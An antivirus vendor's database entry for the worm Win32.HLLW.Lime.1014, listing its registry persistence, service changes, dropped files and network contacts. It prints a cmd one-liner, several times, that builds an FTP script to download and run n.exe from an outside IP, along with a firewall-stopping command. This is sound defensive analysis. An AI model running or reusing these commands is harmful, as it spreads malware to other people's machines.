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Win32.HLLW.Lime.1014
Added to the Dr.Web virus database:
2011-07-11
Virus description added:
2011-08-02
Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'safe360' = '%CommonProgramFiles%\sebsbvx\coiome.exe'
Creates or modifies the following files:
%WINDIR%\Tasks\YXWb.exe
%WINDIR%\Tasks\YXWg.vbe
Creates the following services:
[<HKLM>\SYSTEM\ControlSet001\Services\LmHosts] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\RpcLocator] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\NtLmSsp] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\Browser] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\lanmanserver] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\lanmanworkstation] 'Start' = '00000002'
Malicious functions:
Creates and executes the following:
%WINDIR%\Tasks\YXWb.exe 192.168.193.5 : 192.168.193.6 : 192.168.193.7 : 192.168.193.4 : 192.168.193.1 : 192.168.193.2 : 192.168.193.3 :
%CommonProgramFiles%\sebsbvx\coiome.exe
Executes the following:
<SYSTEM32>\net1.exe start RpcLocator
<SYSTEM32>\cscript.exe %WINDIR%\Tasks\YXWg.vbe 192.168.193.1 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
<SYSTEM32>\sc.exe delete JavaServe
<SYSTEM32>\net1.exe stop sharedaccess
<SYSTEM32>\net1.exe start LmHosts
<SYSTEM32>\locator.exe
<SYSTEM32>\attrib.exe -h -s -r -a "%HOMEPATH%\Cookies\*.*"
<SYSTEM32>\cscript.exe %WINDIR%\Tasks\YXWg.vbe 192.168.193.3 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
<SYSTEM32>\net1.exe start NtLmSsp
<SYSTEM32>\cscript.exe %WINDIR%\Tasks\YXWg.vbe 192.168.193.2 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
<SYSTEM32>\net1.exe start Browser
<SYSTEM32>\sc.exe config lanmanserver start= auto
<SYSTEM32>\sc.exe config lanmanworkstation start= auto
<SYSTEM32>\sc.exe config Browser start= auto
<SYSTEM32>\mshta.exe "%PROGRAM_FILES%\AHO.hta"
<SYSTEM32>\taskkill.exe /im coiome.exe /f
<SYSTEM32>\net1.exe start lanmanserver
<SYSTEM32>\net1.exe start lanmanworkstation
<SYSTEM32>\sc.exe config NtLmSsp start= auto
<SYSTEM32>\sc.exe config LmHosts start= auto
<SYSTEM32>\sc.exe config RpcLocator start= auto
Sets a new unauthorized home page for Windows Internet Explorer.
Modifies file system :
Creates the following files:
\Device\LanmanRedirector\192.168.193.2\pipe\browser
\Device\LanmanRedirector\192.168.193.1\pipe\browser
\Device\LanmanRedirector\192.168.193.4\pipe\browser
\Device\LanmanRedirector\192.168.193.3\pipe\browser
%CommonProgramFiles%\sebsbvx\coiome.exe
%PROGRAM_FILES%\AHO.hta
%WINDIR%\Fonts\oh.ini
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\b[1].jpg
Deletes itself.
Network activity:
Connects to:
'<Private IP address>':445
'<Private IP address>':135
'<Private IP address>':139
'localhost':1037
'j.###6800.com':80
'tj.##16800.com':80
TCP:
HTTP GET requests:
tj.##16800.com/t/Count.asp?ma#######################################
j.###6800.com/b.jpg
UDP:
DNS ASK tj.##16800.com
DNS ASK j.###6800.com
Miscellaneous:
Searches for the following windows:
ClassName: '' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''
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